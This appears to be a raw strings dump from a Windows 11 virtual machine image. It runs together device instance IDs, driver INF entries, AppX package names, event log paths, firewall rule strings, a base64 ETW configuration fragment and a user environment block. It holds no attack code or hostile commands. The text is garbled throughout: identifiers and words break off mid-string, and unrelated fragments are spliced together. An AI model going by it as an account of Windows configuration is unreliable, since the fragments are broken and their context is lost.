IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP try\Machine\Software\Classes\CLSID\{E5230EED-6DA6-4D52-938D-2F238B6DFBEB} try\Machine\Software\Classes\CLSID\{AAF0D8EB-2612-4924-B2FF-44996820AD9F} try\Machine\Software\Classes\CLSID\{DEA794E0-1C1D-4363-B171-98D0B1703586} try\Machine\Software\Classes\AppID\{AB7BDC53-0BB5-44F5-9E25-C444313D4686} try\Machine\Software\Classes\CLSID\{81D61DA9-B415-4E65-B414-FD948A406B36} try\Machine\Software\Classes\CLSID\{1FFE4FFD-25B1-40B1-A1EA-EF633353BB4E} try\Machine\Software\Classes\AppID\{0B789C73-D8DA-416D-B665-C1603676CEB1} Ethernet0-WFP 802.3 MAC Layer LightWeight Filter-0000 3++S++ MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) <WAN Miniport (Network Monitor) TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) <WAN Miniport (Network Monitor) (WAN Miniport (PPPOE) :Software Loopback Interface 1 fectPack&1&1339c6b5&0 ROOT\VID\0000 ROOT\CompositeBus\0000 ROOT\vdrvroot\0000 ROOT\spaceport\0000 ACPI\PNP0B00\4&1bd7f811&0 USB\VID_0E0F&PID_0003&MI_01\7&bcbfcc2&0&0001 ROOT\KDNIC\0000 USB\VID_0E0F&PID_0003&MI_00\7&bcbfcc2&0&0000 SWD\MMDEVAPI\{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} ACPI\PNP0303\4&1bd7f811&0 PCI\VEN_15AD&DEV_077A&SUBSYS_077A15AD&REV_00\4&1ee266c4&0&00B0 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&A8 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&A9 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&AA PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&AB PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&AC PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&AD PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&AE PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&AF PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B0 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B1 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B2 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B3 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B4 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B5 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B6 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B7 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B8 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&B9 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&BA PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&BB PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&BC PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&BD PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&BE PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&BF PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&C0 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&C1 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01\3&61aaa01&0&C2 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&RE 3++S++ Microsoft.Windows.Common-Controls SysListView32 comctl32.dll.mui msctls_hotkey32 dsig SysHeader32 asmv ACPI\PNP0A05\16 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M6)#ACPI(L0M4) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0069 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 ACPI(_SB_)#ACPI(L1M6)#ACPI(L0M3) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0068 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP ++S+ 488-a7b4 fc5d al surfa are File Explorer Search is third party extensible. f7b-9d4c d8e7 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.Core_1000.26100.82.0xyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy neutral__cw5n1h2txyewy Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.PinningConfirmationDialog_1000.25140.1001.0_neutral__cw5n1h2txyewy Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2t 1527c705-839a-4832-9118-54d4 9465d9d515@ _neutra0 t.Accoun l_10 0.0.2610 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M6)#ACPI(L0M5) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0070 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP Microsoft-Windows-Iphlpsvc-Trace Microsoft-Windows-TCPIP Microsoft-Windows-Iphlpsvc-Trace PCIROOT(0)#PCI(1601) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE51) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%pci\cc_0604&dt_4.devicedesc%;PCI Express Root Port {4d36e97d-e325-11ce-bfc1-08002be10318}\0094 PCI Express Root Port PCI Express Root Port @pci.inf,%gendev_mfg%;(Standard system devices) Microsoft Microsoft 6-21-2006 pci.inf 10.0.26100.7705 10.0.26100.7705 pci.inf PCI_BRIDGE PCI_BRIDGE pci.inf:4ac8f80c1dbf149d:PCI_BRIDGE:10.0.26100.7705:PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 @pci.inf,%PCISlot%;PCI Slot %1!u! pci.inf:PCI\CC_0604&DT_4,PCI_BRIDGE EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System FWPUCLNT WPP Trace FWPKCLNT WPP Trace DeviceLayer WPP Wired AutoConfig Group Policy Wired AutoConfig Dialogs Wired AutoConfig Media Dot3GPUI WPP Wired AutoConfig Service LanSettings WPP DAS WPP Winsock WPP Microsoft-Windows-Winsock-NameResolution EventLog-System foCo b25228c0-599f-18 33ec-037cb547424a 61afd6a2- e3aca8_m f53c830b76_t b43b-7 b4ae39a5-507c-256 498-ac1e1 0f8e2c b-7a2 9e9- 183fa0a84_me 2f94e6-de 55717d afe5ecc7679 2413 1a36 47229- d-2ac7-e8a3-49ba 251d1_me abcc411c-673b-83 421-f 1b524b99 8-bb 0937 975de 916e- 7aeb ++S+ \ControlSet001\C ++S+ 3++S++ ws\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\http:\\microsoft.com $Global.LockCanvas $Global.LockCanvas C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\http:\\microsoft.com *Global.WidgetViewUWP *Global.WidgetViewUWP C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\http:\\microsoft.com 0Global.WindowsMigration 0Global.WindowsMigration C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsMigration\Assets\Square150x150Logo.png C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WindowsMigration\Assets\Square44x44Logo.png >Global.WindowsPeopleExperience >Global.WindowsPeopleExperience C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\http:\\microsoft.com Global.wsw Global.wsw C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\http:\\microsoft.com MicrosoftWindows.Client.CBS cw5n1h2txyewy CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US nevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Debug.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Analytic.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Debug.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Analytic.evtx vice %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Diagnose.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Debug.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Diagnose.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Admin.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Admin.evtx %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx DiskSpinDownMax Software\Microsoft\Windows\CurrentVersion\Controls Folder\PowerCfg\PowerPolicies LastID Control Panel\PowerCfg\PowerPolicies DiskSpinDownMin CurrentPowerPolicy GlobalPowerPolicy Software\Microsoft\Windows\CurrentVersion\Controls Folder\PowerCfg Control Panel\PowerCfg svchost Service Test Loopback A C:\Windows\System32\DDORes.dll,-2001 Service Test Loopback A Service Test Loopback A MIDISRV\MidiEndpoints Unknown ModelId\{BCF4E586-5874-5C17-B136-0362DAB0BE7E} HardwareId\MIDISRV#MidiEndpoints CompatibleId\GenericMidiEndpoint CompatibleId\SWD#GenericRaw CompatibleId\SWD#Generic InterfaceClass\{E7CCE071-3C03-423F-88D3-F1045D02552B} AllItems Microsoft-Windows-WinHttp %SystemRoot%\system32\winhttp.dll %SystemRoot%\system32\winhttp.dll Microsoft-Windows-Dism-Api %systemroot%\system32\DismApi.dll %systemroot%\system32\DismApi.dll Microsoft-Windows-PrintService %SystemRoot%\system32\ntprint.dll %SystemRoot%\system32\ntprint.dll Microsoft-Windows-WinMDE %SystemRoot%\system32\winmde.dll %SystemRoot%\system32\winmde.dll Microsoft-Windows-Audit %SystemRoot%\system32\oobe\audit.exe %SystemRoot%\system32\oobe\audit.exe Microsoft-Windows-Dwm-Redir %SystemRoot%\system32\dwmredir.dll %SystemRoot%\system32\dwmredir.dll Microsoft-Windows-EaseOfAccess %SystemRoot%\system32\magnify.exe %SystemRoot%\system32\magnify.exe Microsoft-Windows-DfsSvc %SystemRoot%\system32\netevent.dll %SystemRoot%\system32\netevent.dll Microsoft-Windows-WiFiDisplay %windir%\system32\wifidisplay.dll %windir%\system32\wifidisplay.dll 3++S++ 0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-3132517012-1571311091-3263739450-2968124769-4061529133-2106415361-233808003|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-3|C=S-1-15-3-5|C=S-1-15-3-6|C=S-1-15-3-10|C=S-1-15-3-3132517012-1571311091-3263739450-2968124769-4061529133-2106415361-233808003|M=Microsoft.ZuneMusic_8wekyb3d8bbwe|Name=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|Desc=@{Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneMusic/Resources/AppStoreName}|D=C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.ZuneMusic_8wekyb3d8bbwe| gore 4&3b50545d&0 Microsoft-Windows-KernelStreaming/OperationalMicrosoft-Windows-KernelStreaming/Analytic EventID System Microsoft-Windows-TWinUI/Diagnos soft-Windows ndows-Ke -Reg ++S+ ++S+ 3++S++ EHCI.Dev.NT usbport.inf:392c3d53925e0e58:EHCI.Dev.NT:10.0.26100.7705:PCI\CC_0C0320 PCI\CC_0C0320 PCI\CC_0C0320 usbui.dll,USBControllerPropPageProvider usbui.dll,USBControllerPropPageProvider usbport.inf:PCI\CC_0C0320,EHCI.Dev.NT \_SB.PCI0.P2P0.S3F0 NTIzNjE2ODRiZDc2XzBfNV8xMjcwNV82XzBfMCIgTmFtZT0iYWE2ZjZhMTAtOGExMy00MTdkLTg3OTktNTIzNjE2ODRiZDc2IiBOb25QYWdlZE1lbW9yeT0idHJ1ZSIgTGV2ZWw9IjUiIEV2ZW50S2V5PSJ0cnVlIiBFeGNsdWRlSW5Qcml2YXRlPSJ0cnVlIj48S2V5d29yZHM+PEtleXdvcmQgVmFsdWU9IjB4RkZGRkZGRkZGRkZGRkZGRiIgLz48L0tleXdvcmRzPjwvRXZlbnRQcm92aWRlcj48RXZlbnRQcm92aWRlciBJZD0iRVBfZDc1ZGY5ZjEtNWYzZC00OWQwLTlkMTUtMmE1NWJkMWMwMTJlXzBfNV8xMjcwNV83XzBfMCIgTmFtZT0iZDc1ZGY5ZjEtNWYzZC00OWQwLTlkMTUtMmE1NWJkMWMwMTJlIiBOb25QYWdlZE1lbW9yeT0idHJ1ZSIgTGV2ZWw9IjUiIEV2ZW50S2V5PSJ0cnVlIiBFeGNsdWRlSW5Qcml2YXRlPSJ0cnVlIj48S2V5d29yZHM+PEtleXdvcmQgVmFsdWU9IjB4RkZGRkZGRkZGRkZGRkZGRiIgLz48L0tleXdvcmRzPjwvRXZlbnRQcm92aWRlcj48RXZlbnRQcm92aWRlciBJZD0iRVBfTWljcm9zb2Z0LVdpbmRvd3MtRGVza3RvcC1BcHBsaWNh bk1hbmFnZXJfMF81 NWQ0YTFmYS00MDM2LTQw TWVtb3L PSJ0cnVlIiBMZXZlbD0iNSIgRXZlbnRL InRydWUiIE/ Y2x1ZGVJblByaXZhdGU9InRydWUiPjxLZXl3b3Jkcz48S2V5d29yZCBWYWx1ZT0iMHhGRkZGRkZGRkZGRkZGRkZGIiAvPjwvS2V5d29yZHM+PC9FdmVudFByb3ZpZGVyPjxFdmVu ZnQuV2lu RjNC1i InRy ZmJm mFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC\Temp TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\ C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy; C:\WINDOWS\system32\backgroundTaskHost.exe "C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:OobeHost.AppXdcwkjpb46w3zw4hbmx5jfxajhymjka0d.mca "C:\WINDOWS\system32\backgroundTaskHost.exe" ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData Progra EventData Data Name PortNumber Data Name AdapterGuid Data Name MiniportName Data Name AdapterSerialNumber Data Name AdapterInterfaceType Data Name Flags Data Name Flags2 Data Name StartFailureCode Data Name NtStatus PortNumber AdapterGuid MiniportName AdapterSerialNumber AdapterInterfaceType Flags Flags2 StartFailureCode NtStatus MMDEVAPI\AudioEndpoints Audio ModelId\{B299C7D1-439B 5A46-A848-8A899298B2C0} Hardwar MMDE AudioEnd mpat Id\SWD#G nterfaceClass\{2 70-1CD474972C3F} AllItems \VID_0 0E0F USB\VID icrosoft.StartExperiencesApp/Resources/PackageDisplayName}|Desc=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}|PFN=Microsoft.StartExperiencesApp_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}|Desc=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}|PFN=Microsoft.StartExperiencesApp_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-1433382107-525783102-3264187439-2233956802-150629141-2653644966-3104780440|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|C=S-1-15-3-1|C=S-1-15-3-1433382107-525783102-3264187439-2233956802-150629141-2653644966-3104780440|M=Microsoft.StartExperiencesApp_8wekyb3d8bbwe|Name=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}|Desc=@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/PackageDisplayName}|D=C:\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\|PFN=Microsoft.StartExperiencesApp_8wekyb3d8bbwe| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3 